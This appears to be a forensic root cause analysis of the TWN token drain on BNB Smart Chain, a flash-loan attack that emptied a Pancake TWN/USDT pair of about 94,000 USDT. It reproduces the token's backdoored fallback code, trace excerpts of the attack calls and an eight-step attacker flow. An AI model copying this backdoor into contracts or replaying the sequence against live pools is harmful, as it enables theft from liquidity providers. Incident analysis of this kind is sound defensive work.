All incidents

TWN Wrapper Backdoor Drain

Share
Sep 23, 2022 04:03 UTCAttackLoss: 94,304.58 USDTPending manual check1 exploit txWindow: Atomic
Estimated Impact
94,304.58 USDT
Label
Attack
Exploit Tx
1
Addresses
2
Attack Window
Atomic
Sep 23, 2022 04:03 UTC → Sep 23, 2022 04:03 UTC

Exploit Transactions

TX 1BSC
0xd692f71de2768017390395db815d34033013136c378177c05d0d46ef3b6f0897
Sep 23, 2022 04:03 UTCExplorer

Victim Addresses

0xdc8cb92aa6fc7277e3ec32e3f00ad7b8437ae883BSC
0xaf8fb60f310dcd8e488e4fa10c48907b7abf115eBSC

Loss Breakdown

94,304.58USDT

Similar Incidents

Root Cause Analysis

TWN Wrapper Backdoor Drain

1. Incident Overview TL;DR

On BNB Smart Chain block 21572419, transaction 0xd692f71de2768017390395db815d34033013136c378177c05d0d46ef3b6f0897 used a public DODO flash loan, bought a small TWN position, directly invoked the TWN wrapper at 0x01112ea0679110cbc0ddea567b51ec36825aef9b, drained the TWN side of the Pancake TWN/USDT pair 0xaf8fb60f310dcd8e488e4fa10c48907b7abf115e, synced the pair, and sold back into USDT. The balance diff shows that USDT holder 0xcfb0cfc5ca8b8c1ad56dae5dd9720ea73f967ac7 gained 94304580256723571814836 raw USDT units, while the pair lost the same amount.

The root cause is a token backdoor, not an AMM bug. TWN hardcodes an external wrapper and lets that wrapper trigger internal _transfer(from, to, amount) operations from arbitrary calldata. Because the wrapper withdraw(address,address,uint256) path is publicly reachable, any unprivileged caller can force unauthorized TWN balance movements and drain liquidity from the Pancake pair.

2. Key Background

TWN (0xdc8cb92aa6fc7277e3ec32e3f00ad7b8437ae883) is not a plain ERC-20. Its verified source shows that both transfer and transferFrom perform the nominal token transfer and then immediately call the hardcoded wrapper:

function transfer(address to, uint256 amount) public returns (bool) {
    address owner = _msgSender();
    _transfer(owner, to, amount);
    _wrap.withdraw(owner,to,amount);
    return true;
}

function transferFrom(address from, address to, uint256 amount) public returns (bool) {
    address spender = _msgSender();
    _spendAllowance(from, spender, amount);
    _transfer(from, to, amount);
    _wrap.withdraw(from,to,amount);
    return true;
}

The same source also shows that TWN trusts any call from that wrapper in fallback() and decodes the calldata into a new internal transfer:

function _receiveReward() internal {
    bytes4 funcSign;
    address f;
    address t;
    uint a;
    assembly {
        funcSign := calldataload(0)
        f := calldataload(4)
        t := calldataload(36)
        a := calldataload(68)
    }
    if (funcSign == 0x8987a46b || funcSign == 0x4f8f4dab) {
        _transfer(f,t,a);
    }
}

fallback() external {
    require(address(_wrap) == _msgSender());
    _receiveReward();
}

This matters because the exploit does not need privileged keys or an admin path. The transaction trace shows the attacker contract directly calling wrapper withdraw, and the resulting wrapper-originated fallback calls move TWN out of the Pancake pair outside normal AMM swap accounting. DODO flash liquidity is only the temporary funding source that makes the sequence capital-efficient in one transaction.

3. Vulnerability Analysis & Root Cause Summary

The vulnerability category is ATTACK: TWN delegated balance-moving authority to an external wrapper without any holder-consent or allowance check on the fallback-driven transfer path. The intended token invariant is straightforward: a holder's TWN balance should decrease only when the holder calls transfer or an approved spender calls transferFrom. TWN violates that invariant because wrapper-originated calldata can name arbitrary from, to, and amount values and the token will execute _transfer(f, t, a) solely because msg.sender is the hardcoded wrapper.

The critical code-level breakpoint is the combination of transfer/transferFrom calling _wrap.withdraw(...) and fallback() calling _receiveReward(). _receiveReward() accepts selectors 0x8987a46b and 0x4f8f4dab, decodes raw calldata into f, t, and a, and then calls _transfer(f, t, a) with no allowance verification. Once an attacker can call the wrapper withdraw entrypoint directly, the wrapper becomes a permissionless proxy for arbitrary TWN balance changes.

The Pancake pair is the monetization surface. Draining TWN from the pair without a corresponding swap accounting path destroys the reserve relationship that the AMM price depends on. After the attacker syncs the pair, the remaining TWN can be sold back into the now-mispriced pool for a very large USDT payout.

4. Detailed Root Cause Analysis

The exploit begins from the public DODO pool 0xda26dd3c1b917fbf733226e9e71189abb4919e3f, which lends 243673213068049612594655 raw USDT units to the attacker contract in the same transaction. The trace then shows the attacker buying 85313419073296524387 TWN through PancakeRouter:

PancakeRouter::swapExactTokensForTokensSupportingFeeOnTransferTokens(
  1000000000000000000000, 0, [USDT, TWN], attackerContract, ...
)
...
0xaF8f...115e::swap(0, 85313419073296524387, attackerContract, 0x)

That ordinary buy already demonstrates the dangerous TWN design: during the pair's TWN::transfer to the attacker, the wrapper is called and TWN fallback executes more internal transfers sourced from wrapper calldata.

The exploit-defining step is the direct call to the public wrapper:

0x01112eA0679110cbc0ddeA567b51ec36825aeF9b::withdraw(
  0x68Dbf1c787e3f4C85bF3a0fd1D18418eFb1fb0BE,
  0xaF8fb60f310DCd8E488e4fa10C48907B7abf115e,
  89806000000000000000000
)

Inside that wrapper call, the trace records multiple TWN::fallback(...) invocations that move TWN out of the pair to several external addresses. Representative calls include:

TWN::fallback(pair, 0x68Db...b0BE, 893753286606335330540)
TWN::fallback(pair, 0x410A...786D, 898060000000000000000)
TWN::fallback(pair, 0x727F...3CED, 449030000000000000000)
TWN::fallback(pair, 0xC42F...EA6E, 224515000000000000000)
TWN::fallback(pair, 0xf804...3B4D, 898060000000000000000)
TWN::fallback(pair, 0x8e1D...4591, 4714815000000000000000)

Those fallback-driven transfers are the concrete invariant break. The balance diff confirms that the pair's TWN balance fell from 8163658010724952139310 to 71535699493484134604, a net loss of 8092122311231468004706 raw TWN units during the transaction. Immediately before the attacker sells back, the trace shows pair.sync() locking reserves with only 111305045320284383 TWN left in the pair:

0xaF8f...115e::sync()
...
TWN::balanceOf(pair) -> 111305045320284383
emit Sync(95454473060895791601540, 111305045320284383)

After sync, the attacker sells 78488345547432802438 TWN back into the broken market through PancakeRouter. Because the pool now holds almost no TWN reserve but still holds nearly all of its USDT, the sale extracts an outsized USDT amount. The trace then shows repayment to the DODO pool, and the balance diff shows the economic outcome: the pair lost 94304580256723571814836 raw USDT units and profit-recipient 0xcfb0cfc5ca8b8c1ad56dae5dd9720ea73f967ac7 gained exactly the same amount.

5. Adversary Flow Analysis

The adversary cluster consists of EOA 0xa957910cb426cb52dfc6dff5e582860a22db70d2 as the tx sender, contract 0x90b50cab27ede09a0d59743e4112d6e87e838ff4 as the execution vehicle, and contract 0xcfb0cfc5ca8b8c1ad56dae5dd9720ea73f967ac7 as the profit recipient. The trace is consistent with a single-transaction, permissionless ACT flow:

  1. Borrow USDT from the public DODO flash-loan pool.
  2. Swap a small portion of the borrowed USDT for TWN to hold inventory for the final sell.
  3. Transfer 1 ether worth of USDT to the pair to prime the reserve state used by the wrapper logic.
  4. Call wrapper withdraw(lp_holder, pair, 89806 ether) directly with attacker-chosen parameters.
  5. Let TWN fallback execute the unauthorized internal transfers that remove TWN from the pair.
  6. Call pair.sync() so the pair accepts the depleted TWN reserve as the new reference state.
  7. Sell the remaining attacker-held TWN back into the pair for USDT.
  8. Repay the flash loan principal and transfer the residual USDT profit to the profit-recipient address.

Every stage is supported by public, permissionless components: DODO flash loans, Pancake router swaps, the wrapper withdraw entrypoint, and pair sync. No privileged owner action, allowlist, or attacker-private artifact is required to realize the exploit path.

6. Impact & Losses

The direct measurable loss is on the Pancake TWN/USDT pair 0xaf8fb60f310dcd8e488e4fa10c48907b7abf115e. The balance diff records a USDT loss of 94304580256723571814836 raw units and a corresponding gain of the same amount by the attacker profit-recipient. The pair also lost effectively all TWN depth needed for sane price discovery, dropping from 8163658010724952139310 raw TWN units to near dust during the exploit.

The incident therefore had two coupled effects: immediate value extraction in USDT and destruction of TWN/USDT market integrity. The value capture is deterministic from the recorded state diffs, and the exploit mechanism shows that any comparable public pre-state with the same wrapper design and liquidity conditions was permissionlessly exploitable.

7. References

  • Seed transaction: 0xd692f71de2768017390395db815d34033013136c378177c05d0d46ef3b6f0897 on BNB Smart Chain.
  • Verified TWN source: 0xdc8cb92aa6fc7277e3ec32e3f00ad7b8437ae883, showing transfer, transferFrom, _receiveReward, and fallback.
  • Wrapper contract used in the exploit: 0x01112ea0679110cbc0ddea567b51ec36825aef9b.
  • Victim Pancake pair: 0xaf8fb60f310dcd8e488e4fa10c48907b7abf115e.
  • Public flash-loan pool: 0xda26dd3c1b917fbf733226e9e71189abb4919e3f.
  • Collected trace artifact: /workspace/session/artifacts/collector/seed/56/0xd692f71de2768017390395db815d34033013136c378177c05d0d46ef3b6f0897/trace.cast.log.
  • Collected balance diff artifact: /workspace/session/artifacts/collector/seed/56/0xd692f71de2768017390395db815d34033013136c378177c05d0d46ef3b6f0897/balance_diff.json.
  • Verified victim source artifact: /workspace/session/artifacts/collector/seed/56/0xdc8cb92aa6fc7277e3ec32e3f00ad7b8437ae883/src/Contract.sol.